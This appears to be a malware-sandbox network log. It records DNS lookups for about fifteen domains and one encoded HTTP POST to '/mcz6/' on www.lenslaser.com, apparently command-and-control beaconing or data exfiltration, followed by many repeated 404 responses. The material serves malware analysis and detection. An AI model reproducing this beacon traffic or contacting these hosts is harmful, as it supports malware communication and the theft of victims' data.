Source: global traffic	DNS traffic detected: DNS query: www.dty377.com
Source: global traffic	DNS traffic detected: DNS query: www.lenslaser.com
Source: global traffic	DNS traffic detected: DNS query: www.allinone24.shop
Source: global traffic	DNS traffic detected: DNS query: www.carliente.com
Source: global traffic	DNS traffic detected: DNS query: www.walletweb367.top
Source: global traffic	DNS traffic detected: DNS query: www.deaybrid.info
Source: global traffic	DNS traffic detected: DNS query: www.prizesupermarket.com
Source: global traffic	DNS traffic detected: DNS query: www.jrksa.info
Source: global traffic	DNS traffic detected: DNS query: www.cookedatthebottom.com
Source: global traffic	DNS traffic detected: DNS query: www.celebration24.co.uk
Source: global traffic	DNS traffic detected: DNS query: www.gledingakademiet.no
Source: global traffic	DNS traffic detected: DNS query: www.alfaspa.net
Source: global traffic	DNS traffic detected: DNS query: www.zwervertjes.be
Source: global traffic	DNS traffic detected: DNS query: www.maerealtysg.com
Source: global traffic	DNS traffic detected: DNS query: www.polhi.lol

Source: unknown

HTTP traffic detected: POST /mcz6/ HTTP/1.1Host: www.lenslaser.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflate, brOrigin: http://www.lenslaser.comReferer: http://www.lenslaser.com/mcz6/Connection: closeContent-Length: 193Content-Type: application/x-www-form-urlencodedCache-Control: max-age=0User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0Data Raw: 31 4a 6f 68 3d 75 72 34 68 55 52 48 36 48 6b 58 37 54 37 75 44 41 77 56 54 58 31 58 64 76 64 34 44 32 46 4c 56 56 41 6e 75 6a 79 34 73 6d 37 4d 36 64 6d 77 54 65 36 2b 34 6c 30 59 68 58 38 30 5a 36 56 57 30 30 35 73 2b 39 50 54 79 46 75 68 50 5a 4e 6c 61 4e 41 4f 6a 38 49 66 44 41 79 53 76 70 2b 50 36 65 43 63 53 70 4a 63 50 4e 39 51 56 2b 51 47 58 6b 6f 55 64 78 2b 6d 38 31 38 36 46 72 72 66 64 72 61 30 50 53 49 38 52 52 6e 76 38 36 42 6d 34 35 65 2b 4c 36 78 78 77 48 68 45 57 74 65 4d 74 4b 56 61 53 6b 48 6c 75 38 33 50 4c 61 58 2b 64 56 55 47 57 72 63 4b 72 4e 71 67 71 Data Ascii: 1Joh=ur4hURH6HkX7T7uDAwVTX1Xdvd4D2FLVVAnujy4sm7M6dmwTe6+4l0YhX80Z6VW005s+9PTyFuhPZNlaNAOj8IfDAySvp+P6eCcSpJcPN9QV+QGXkoUdx+m8186Frrfdra0PSI8RRnv86Bm45e+L6xxwHhEWteMtKVaSkHlu83PLaX+dVUGWrcKrNqgq

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 16 May 2024 15:19:04 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 16 May 2024 15:19:06 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 16 May 2024 15:19:09 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 16 May 2024 15:19:12 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 16 May 2024 15:19:35 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 16 May 2024 15:19:40 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 16 May 2024 15:19:42 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 16 May 2024 15:20:29 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 16 May 2024 15:20:31 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 16 May 2024 15:20:34 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 16 May 2024 15:21:05 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closex-backend: web4X-Frontend: frontend1X-Trace-Id: ti_159389ade035d0ad7fc69ce6881f36b4Content-Encoding: brData Raw: 31 31 35 0d 0a a1 f8 10 00 20 cb d6 ea 94 b4 37 dd f1 26 f4 d7 64 79 c0 b9 0d dc 14 d8 7b 87 fe a3 a8 f0 9c 0b 14 71 6d ba d5 20 e2 df 4b 3d 9b 8b ea a1 e3 9a 7c 04 d0 e2 fd 81 10 0e b6 8e bd 63 48 c8 36 21 91 82 70 d8 12 16 b2 41 78 db 29 8a e4 d1 03 aa 1c b3 28 2f 42 72 83 d6 87 c2 44 79 10 43 10 d6 50 11 67 64 9b ee 11 0c c9 8d 96 71 2e 50 14 fa 29 d8 85 c4 16 fd 4f 9c 74 47 db 93 ac 5b a6 2a db 17 87 0b 76 49 c4 df 04 8a da d1 a8 00 5c 78 20 cb 61 b6 cb 47 f0 66 42 6d 5c 42 e5 a2 a3 e9 25 40 0f 56 62 0c f2 c1 80 09 2c 0f 44 38 11 83 2c 33 55 e1 8c 4c e5 3f 67 ad 78 85 b3 bc 60 b2 2e 73 b3 dc 58 ca 4e 90 f4 34 ec 00 4f 75 73 c0 9e 9c 1f 59 45 11 e4 66 51 26 99 c1 3b e1 bb 97 ed 2f 5b 25 7e e4 b2 d5 e6 0f 3a 0a cd 68 51 e6 58 66 1b f9 d6 b8 64 56 07 83 6f 78 57 48 c8 71 91 1d 9f 46 5e c8 e0 46 eb 73 19 10 02 c0 10 ce be 82 96 04 03 0d 0a 30 0d 0a 0d 0a Data Ascii: 115 7&dy{qm K=\|cH6!pAx)(/BrDyCPgdq.P)OtG[*vI\x aGfBm\B%@Vb,D8,3UL?gx`.sXN4OusYEfQ&;/[%~:hQXfdVoxWHqF^Fs0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 16 May 2024 15:21:07 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closex-backend: web4X-Frontend: frontend1X-Trace-Id: ti_c73188c602a93f2d446cefd441e22c7bContent-Encoding: brData Raw: 31 31 35 0d 0a a1 f8 10 00 20 cb d6 ea 94 b4 37 dd f1 26 f4 d7 64 79 c0 b9 0d dc 14 d8 7b 87 fe a3 a8 f0 9c 0b 14 71 6d ba d5 20 e2 df 4b 3d 9b 8b ea a1 e3 9a 7c 04 d0 e2 fd 81 10 0e b6 8e bd 63 48 c8 36 21 91 82 70 d8 12 16 b2 41 78 db 29 8a e4 d1 03 aa 1c b3 28 2f 42 72 83 d6 87 c2 44 79 10 43 10 d6 50 11 67 64 9b ee 11 0c c9 8d 96 71 2e 50 14 fa 29 d8 85 c4 16 fd 4f 9c 74 47 db 93 ac 5b a6 2a db 17 87 0b 76 49 c4 df 04 8a da d1 a8 00 5c 78 20 cb 61 b6 cb 47 f0 66 42 6d 5c 42 e5 a2 a3 e9 25 40 0f 56 62 0c f2 c1 80 09 2c 0f 44 38 11 83 2c 33 55 e1 8c 4c e5 3f 67 ad 78 85 b3 bc 60 b2 2e 73 b3 dc 58 ca 4e 90 f4 34 ec 00 4f 75 73 c0 9e 9c 1f 59 45 11 e4 66 51 26 99 c1 3b e1 bb 97 ed 2f 5b 25 7e e4 b2 d5 e6 0f 3a 0a cd 68 51 e6 58 66 1b f9 d6 b8 64 56 07 83 6f 78 57 48 c8 71 91 1d 9f 46 5e c8 e0 46 eb 73 19 10 02 c0 10 ce be 82 96 04 03 0d 0a 30 0d 0a 0d 0a Data Ascii: 115 7&dy{qm K=\|cH6!pAx)(/BrDyCPgdq.P)OtG[*vI\x aGfBm\B%@Vb,D8,3UL?gx`.sXN4OusYEfQ&;/[%~:hQXfdVoxWHqF^Fs0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 16 May 2024 15:21:09 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closex-backend: web4X-Frontend: frontend1X-Trace-Id: ti_58458f13e6035bc12306a06a351c87b4Content-Encoding: brData Raw: 31 31 35 0d 0a a1 f8 10 00 20 cb d6 ea 94 b4 37 dd f1 26 f4 d7 64 79 c0 b9 0d dc 14 d8 7b 87 fe a3 a8 f0 9c 0b 14 71 6d ba d5 20 e2 df 4b 3d 9b 8b ea a1 e3 9a 7c 04 d0 e2 fd 81 10 0e b6 8e bd 63 48 c8 36 21 91 82 70 d8 12 16 b2 41 78 db 29 8a e4 d1 03 aa 1c b3 28 2f 42 72 83 d6 87 c2 44 79 10 43 10 d6 50 11 67 64 9b ee 11 0c c9 8d 96 71 2e 50 14 fa 29 d8 85 c4 16 fd 4f 9c 74 47 db 93 ac 5b a6 2a db 17 87 0b 76 49 c4 df 04 8a da d1 a8 00 5c 78 20 cb 61 b6 cb 47 f0 66 42 6d 5c 42 e5 a2 a3 e9 25 40 0f 56 62 0c f2 c1 80 09 2c 0f 44 38 11 83 2c 33 55 e1 8c 4c e5 3f 67 ad 78 85 b3 bc 60 b2 2e 73 b3 dc 58 ca 4e 90 f4 34 ec 00 4f 75 73 c0 9e 9c 1f 59 45 11 e4 66 51 26 99 c1 3b e1 bb 97 ed 2f 5b 25 7e e4 b2 d5 e6 0f 3a 0a cd 68 51 e6 58 66 1b f9 d6 b8 64 56 07 83 6f 78 57 48 c8 71 91 1d 9f 46 5e c8 e0 46 eb 73 19 10 02 c0 10 ce be 82 96 04 03 0d 0a 30 0d 0a 0d 0a Data Ascii: 115 7&dy{qm K=\|cH6!pAx)(/BrDyCPgdq.P)OtG[*vI\x aGfBm\B%@Vb,D8,3UL?gx`.sXN4OusYEfQ&;/[%~:hQXfdVoxWHqF^Fs0
